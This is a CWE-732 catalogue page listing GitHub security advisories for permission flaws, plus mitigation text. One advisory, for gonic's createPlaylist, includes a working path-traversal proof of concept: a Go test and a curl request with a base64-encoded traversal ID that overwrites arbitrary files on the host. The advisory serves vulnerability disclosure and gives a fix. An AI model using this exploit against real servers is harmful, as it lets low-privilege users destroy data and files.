CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2075 vulnerabilities reference this CWE, most recent first.
GHSA-4F48-QPCH-4PPX
Vulnerability from github – Published: 2023-02-03 18:30 – Updated: 2023-02-10 00:04An Insecure Permissions issue in jeecg-boot 2.4.5 and earlier allows remote attackers to gain escalated privilege and view sensitive information via api uri: /sys/user/querySysUser?username=admin.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jeecgframework.boot:jeecg-boot-base"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-37305"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-04T00:30:23Z",
"nvd_published_at": "2023-02-03T18:15:00Z",
"severity": "HIGH"
},
"details": "An Insecure Permissions issue in jeecg-boot 2.4.5 and earlier allows remote attackers to gain escalated privilege and view sensitive information via api uri: /sys/user/querySysUser?username=admin.",
"id": "GHSA-4f48-qpch-4ppx",
"modified": "2023-02-10T00:04:36Z",
"published": "2023-02-03T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37305"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/jeecg-boot/issues/2794"
},
{
"type": "PACKAGE",
"url": "https://github.com/jeecgboot/jeecg-boot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Insecure Permissions issue in jeecg-boot"
}
GHSA-4FG8-5VPH-XM45
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2022-05-13 01:06The standardrestorer binary in Arq 5.10 and earlier for Mac allows local users to write to arbitrary files and consequently gain root privileges via a crafted restore path.
{
"affected": [],
"aliases": [
"CVE-2017-16945"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-31T20:29:00Z",
"severity": "HIGH"
},
"details": "The standardrestorer binary in Arq 5.10 and earlier for Mac allows local users to write to arbitrary files and consequently gain root privileges via a crafted restore path.",
"id": "GHSA-4fg8-5vph-xm45",
"modified": "2022-05-13T01:06:31Z",
"published": "2022-05-13T01:06:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16945"
},
{
"type": "WEB",
"url": "https://m4.rkw.io/blog/two-local-root-privesc-bugs-in-arq-backup--510.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43926"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/146159/Arq-5.10-Local-Privilege-Escalation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4FHQ-HJ5G-3C47
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow local authenticated attackers who have gained administrator access to read or modify the resource.
We have already fixed the vulnerability in the following version: Notes Station 3 3.9.7 and later
{
"affected": [],
"aliases": [
"CVE-2024-38646"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T16:15:25Z",
"severity": "HIGH"
},
"details": "An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow local authenticated attackers who have gained administrator access to read or modify the resource.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.7 and later",
"id": "GHSA-4fhq-hj5g-3c47",
"modified": "2024-11-22T21:32:15Z",
"published": "2024-11-22T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38646"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4GC8-P5P2-WW5G
Vulnerability from github – Published: 2024-06-25 15:31 – Updated: 2024-10-31 15:30The vCenter Server contains a denial-of-service vulnerability. A malicious actor with network access to vCenter Server may create a denial-of-service condition.
{
"affected": [],
"aliases": [
"CVE-2024-37087"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-25T15:15:12Z",
"severity": "MODERATE"
},
"details": "The vCenter Server contains a denial-of-service vulnerability.\u00a0A malicious actor with network access to vCenter Server may create a denial-of-service condition.",
"id": "GHSA-4gc8-p5p2-ww5g",
"modified": "2024-10-31T15:30:58Z",
"published": "2024-06-25T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37087"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24505"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4GJJ-R7W8-42CQ
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2024-04-24 18:31Jerome Gamez Firebase Admin SDK for PHP version from 3.2.0 to 3.8.0 contains a Incorrect Access Control vulnerability in src/Firebase/Auth/IdTokenVerifier.php does not verify for token signature that can result in JWT with any email address and user ID could be forged from an actual token, or from thin air. This attack appear to be exploitable via Attacker would only need to know email address of the victim on most cases.. This vulnerability appears to have been fixed in 3.8.1.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kreait/firebase-php"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000025"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T18:31:01Z",
"nvd_published_at": "2018-02-09T23:29:00Z",
"severity": "HIGH"
},
"details": "Jerome Gamez Firebase Admin SDK for PHP version from 3.2.0 to 3.8.0 contains a Incorrect Access Control vulnerability in `src/Firebase/Auth/IdTokenVerifier.php` does not verify for token signature that can result in JWT with any email address and user ID could be forged from an actual token, or from thin air. This attack appear to be exploitable via Attacker would only need to know email address of the victim on most cases.. This vulnerability appears to have been fixed in 3.8.1.",
"id": "GHSA-4gjj-r7w8-42cq",
"modified": "2024-04-24T18:31:01Z",
"published": "2022-05-13T01:48:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000025"
},
{
"type": "WEB",
"url": "https://github.com/kreait/firebase-php/pull/151"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/kreait/firebase-php/CVE-2018-1000025.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/kreait/firebase-php"
},
{
"type": "WEB",
"url": "https://github.com/kreait/firebase-php/releases/tag/3.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jerome Gamez Firebase Admin SDK for PHP Incorrect Access Control vulnerability"
}
GHSA-4GPF-73J9-3325
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04Annex Cloud Loyalty Experience Platform <2021.1.0.1 allows any authenticated attacker to modify loyalty campaigns and settings, such as fraud prevention, coupon groups, email templates, or referrals.
{
"affected": [],
"aliases": [
"CVE-2021-31929"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-10T14:15:00Z",
"severity": "MODERATE"
},
"details": "Annex Cloud Loyalty Experience Platform \u003c2021.1.0.1 allows any authenticated attacker to modify loyalty campaigns and settings, such as fraud prevention, coupon groups, email templates, or referrals.",
"id": "GHSA-4gpf-73j9-3325",
"modified": "2022-05-24T19:04:54Z",
"published": "2022-05-24T19:04:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31929"
},
{
"type": "WEB",
"url": "https://github.com/Accenture/AARO-Bugs/blob/master/AARO-CVE-List.md"
},
{
"type": "WEB",
"url": "https://www.annexcloud.com"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4GXV-P5G5-J7W7
Vulnerability from github – Published: 2026-06-26 23:21 – Updated: 2026-06-26 23:21Summary
A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.
The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.
Root cause — unreachable guard clause
server/ctrlsubsonic/handlers_playlist.go:74-90:
func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
user := r.Context().Value(CtxUser).(*db.User)
params := r.Context().Value(CtxParams).(params.Params)
playlistID, _ := params.GetFirstID("id", "playlistId")
playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded
var playlist playlistp.Playlist
if playlistPath != "" {
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// this condition is UNREACHABLE
playlist = *pl
}
}
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed update that user's playlist")
}
...
playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).
So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.
Root cause — no path containment in Store.Write
playlist/playlist.go:146-160:
func (s *Store) Write(relPath string, playlist *Playlist) error {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return err
}
absPath := filepath.Join(s.basePath, relPath)
if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!
return fmt.Errorf("make m3u base dir: %w", err)
}
file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open
...
if err := file.Truncate(0); err != nil { // wipe existing
...
}
filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.
Live PoC — passing Go test
Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:
package ctrlsubsonic
import (
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
f := newFixture(t)
// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
traversalRel := filepath.Join("..", "injected.m3u")
traversalID := playlistIDEncode(traversalRel).String()
// f.alt is the NON-ADMIN user (ID=2).
resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
"id": {traversalID},
"name": {"injected-by-low-priv-user"},
})
t.Logf("resp: %+v", string(resp))
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
target := filepath.Join(tmpDir, "injected.m3u")
stat, err := os.Stat(target)
require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
require.False(t, stat.IsDir())
contents, err := os.ReadFile(target)
require.NoError(t, err)
t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}
Test output against current master HEAD 6dd71e6:
=== RUN TestCreatePlaylistArbitraryWrite_RawPath
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
"owner":"alt","songCount":0,...}}}
VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
#GONIC-NAME:"injected-by-low-priv-user"
#GONIC-COMMENT:""
#GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)
The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.
HTTP-level reproduction
# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"
curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
| python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.
Impact
- Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (
#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:attributes, plus song paths), but thenamevalue is attacker-controlled and structurally placed (no newline injection;strconv.Quoteescapes specials). - Availability: Overwriting
gonic.db(or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. - Filesystem state:
MkdirAll(dir, 0o777)creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. - Trust boundary: gonic explicitly supports a non-admin user role (
ServeCreateUser, theIsAdminflag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. - Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the
#GONIC-NAME:"..."header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High
Suggested fix
Two changes, either of which mitigates this:
1. Fix the unreachable guard at handlers_playlist.go:83:
// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
playlist = *pl
}
// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
playlist = *pl
}
This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.
2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):
absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return fmt.Errorf("path %q escapes playlist directory", relPath)
}
Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.20.1"
},
"package": {
"ecosystem": "Go",
"name": "go.senan.xyz/gonic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49340"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-697",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:21:42Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause \u2014 unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n user := r.Context().Value(CtxUser).(*db.User)\n params := r.Context().Value(CtxParams).(params.Params)\n\n playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded\n\n var playlist playlistp.Playlist\n if playlistPath != \"\" {\n if pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n // ^^^^^^^^^^^^^^^^^^^^^^^^^\n // this condition is UNREACHABLE\n playlist = *pl\n }\n }\n\n if playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID {\n return spec.NewError(50, \"you aren\u0027t allowed update that user\u0027s playlist\")\n }\n ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil \u0026\u0026 pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID` simplifies to `false \u0026\u0026 (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause \u2014 no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n defer lock(\u0026s.mu)()\n if err := sanityCheck(s.basePath); err != nil {\n return err\n }\n absPath := filepath.Join(s.basePath, relPath)\n if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!\n return fmt.Errorf(\"make m3u base dir: %w\", err)\n }\n file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open\n ...\n if err := file.Truncate(0); err != nil { // wipe existing\n ...\n }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` \u2014 Go\u0027s `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC \u2014 passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = \u003ctmp\u003e/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent \u003ctmp\u003e dir \u2014 escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\": {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE \u2014 file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN TestCreatePlaylistArbitraryWrite_RawPath\n resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n \"owner\":\"alt\",\"songCount\":0,...}}}\n VULNERABLE \u2014 file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n #GONIC-NAME:\"injected-by-low-priv-user\"\n #GONIC-COMMENT:\"\"\n #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `\u003ctmp\u003e/injected.m3u` while the playlist store\u0027s basePath is `\u003ctmp\u003e/playlists/` \u2014 write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW=\u0027../../../var/log/anything.log\u0027\nID=\"pl-$(printf \u0027%s\u0027 \"$RAW\" | base64 -w0 | tr \u0027/+\u0027 \u0027_-\u0027)\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv\u0026p=pass\u0026c=poc\u0026v=1.16.1\u0026f=json\u0026id=$ID\u0026name=injected\" \\\n | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic\u0027s own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state \u2014 accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process\u0027s working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil \u0026\u0026 pl != nil {\n playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-4gxv-p5g5-j7w7",
"modified": "2026-06-26T23:21:42Z",
"published": "2026-06-26T23:21:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
},
{
"type": "PACKAGE",
"url": "https://github.com/sentriz/gonic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host"
}
GHSA-4H77-9XX4-W2Q6
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:34SAP GUI 7.2 through 7.5 allows remote attackers to bypass intended security policy restrictions and execute arbitrary code via a crafted ABAP code, aka SAP Security Note 2407616.
{
"affected": [],
"aliases": [
"CVE-2017-6950"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-23T20:59:00Z",
"severity": "CRITICAL"
},
"details": "SAP GUI 7.2 through 7.5 allows remote attackers to bypass intended security policy restrictions and execute arbitrary code via a crafted ABAP code, aka SAP Security Note 2407616.",
"id": "GHSA-4h77-9xx4-w2q6",
"modified": "2025-04-20T03:34:44Z",
"published": "2022-05-13T01:46:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6950"
},
{
"type": "WEB",
"url": "https://erpscan.io/advisories/erpscan-17-011-sap-gui-versions-remote-code-execution-bypass-security-policy"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96872"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038122"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4H9R-M5MG-85PH
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:31Adobe Download Manager versions 2.0.0.363 have an insecure file permissions vulnerability. Successful exploitation could lead to privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2019-8071"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-17T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Adobe Download Manager versions 2.0.0.363 have an insecure file permissions vulnerability. Successful exploitation could lead to privilege escalation.",
"id": "GHSA-4h9r-m5mg-85ph",
"modified": "2024-04-04T02:31:14Z",
"published": "2022-05-24T16:59:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8071"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/adm/apsb19-51.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4HJ8-X4JJ-W73C
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2025-04-20 03:43The Xamarin.iOS update component on systems running macOS allows an attacker to run arbitrary code as root, aka "Xamarin.iOS Elevation Of Privilege Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2017-8665"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-15T18:29:00Z",
"severity": "HIGH"
},
"details": "The Xamarin.iOS update component on systems running macOS allows an attacker to run arbitrary code as root, aka \"Xamarin.iOS Elevation Of Privilege Vulnerability.\"",
"id": "GHSA-4hj8-x4jj-w73c",
"modified": "2025-04-20T03:43:10Z",
"published": "2022-05-13T01:06:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8665"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8665"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42454"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100308"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
